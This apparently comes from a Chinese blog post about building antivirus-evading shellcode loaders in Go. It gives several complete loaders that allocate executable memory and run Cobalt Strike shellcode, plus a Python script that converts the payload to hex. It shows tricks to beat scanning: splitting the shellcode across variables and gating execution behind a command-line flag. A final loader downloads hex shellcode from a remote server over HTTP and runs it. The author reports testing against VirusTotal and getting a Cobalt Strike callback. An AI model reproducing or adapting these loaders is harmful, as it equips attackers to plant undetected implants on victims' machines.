Go加载器

网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。

package main

import (
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {

    xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    syscall.Syscall(addr, 0, 0, 0, 0)

}

shellcode加密解密

简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。

package main

import (
    "bytes"
    "encoding/hex"
    "fmt"
)

func main() {
    //将[]byte -> string(16进制)
    shellcode := []byte{0xfc,0x48,0x83, ...}
    s := hex.EncodeToString(shellcode)
    fmt.Println(s)

    ///将string(16进制) -> []byte
    decode, _ := hex.DecodeString(s)
    shellcode2 := decode
    fmt.Println(shellcode2)

    //比较[]byte类型的 shellcode shellcode2是否相等
    fmt.Println(bytes.Compare(shellcode2, shellcode))

}

cs生成.c格式文件。

用如下python脚本,可以直接转化string(16进制)

import re

str = ""
with open("payload.c","r") as f:
    while True:
        line = f.readline()
        if not line:
            break
        line = line.strip('\n')
        str += line
list1 = re.compile(r'\"(.*)\"').findall(str)
str2 = ''.join(list1).replace("\\x","")
print(str2)

然后替换到加载器上。

package main

import (
    "encoding/hex"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
    code = "fc4883e4f0e8c..."//16进制字符串代码
)

func main() {

    decode, _ := hex.DecodeString(code)
    xor_shellcode := decode

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    syscall.Syscall(addr, 0, 0, 0, 0)

}

这样子还是不行的,可以把shellcode变量拆分成几个变量再拼接,再加上参数执行,避免上传到杀软时直接执行,cs上线一堆...

package main

import (
    "encoding/hex"
    "syscall"
    "unsafe"
    "flag"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
    code = "fc4883e4f0e8c8000000415141505"
    code2 = "251564831d265488b5260488b5218488b5220488b725"

)

func main() {
    code3 := "0480fb74a4a4d31c94831c0ac3c617c022c2..."

    decode, _ := hex.DecodeString(code+code2+code3)
    xor_shellcode := decode

    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)



    //demo.exe -c run
    var c string
    args := flag.String("c", "宝宝巴士", "执行")
    flag.Parse()
    c = *args

    if c == "run" {
        _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
        syscall.Syscall(addr, 0, 0, 0, 0)
    }


}

我这里使用的go build编译大小近2m,vt杀毒。

执行demo.exe -c run, cs上线

远程加载shellcode

使用resty库,一个远程读取txt文本例子。

package main

import (

    "fmt"
    "github.com/go-resty/resty/v2"

)

func main()  {
    client := resty.New() 
    resp, _ := client.R().EnableTrace().Get("http://127.0.0.1/1.txt")
    str := resp.Body()
    body := string(str)
    fmt.Println(body)
}

go build 编译后大小近7m。

使用go的net/http包,一个远程读取txt文本例子。

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
)


func main() {
    url := "http://127.0.0.1/1.txt"
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println(err)
    }
    defer resp.Body.Close()

    respData, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println(err)
    }

    respString := string(respData)

    fmt.Println(respString)


}

go build 编译后大小近6m。

思路将16进制字符串的shellcode上传到服务器1.txt,加载器内使用net/http包远程加载shellcode。

package main

import (
    "encoding/hex"
    "flag"
    "syscall"
    "unsafe"
    "io/ioutil"
    "net/http"

)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
    url = "http://127.0.0.1/1.txt"
)

func main() {


    resp, _ := http.Get(url)

    defer resp.Body.Close()

    respData, _ := ioutil.ReadAll(resp.Body)

    respString := string(respData)

    decode, _ := hex.DecodeString(respString)
    shellcode2 := decode

    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode2)), 0x1000|0x2000, 0x40)
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode2[0])), uintptr(len(shellcode2)))

    //load.exe -c run
    var c string
    args := flag.String("c", "have", "fun")
    flag.Parse()
    c = *args

    if c == "run" {
        syscall.Syscall(addr, 0, 0, 0, 0)
    }

}

go build编译后,vt杀毒测试

总结

加密方便有待加强,使用Base64、凯撒密码等,伪动态加密shellcode,远程下载可以把文件分到几个文本上读取,也可也一半编码在加载器一半远程读取,最好的还是自己写加载器,不过需要二进制基础。

参考

https://www.nctry.com/2314.html
https://www.t00ls.cc/viewthread.php?tid=59723
https://www.t00ls.cc/viewthread.php?tid=59987&extra=&highlight=go&page=1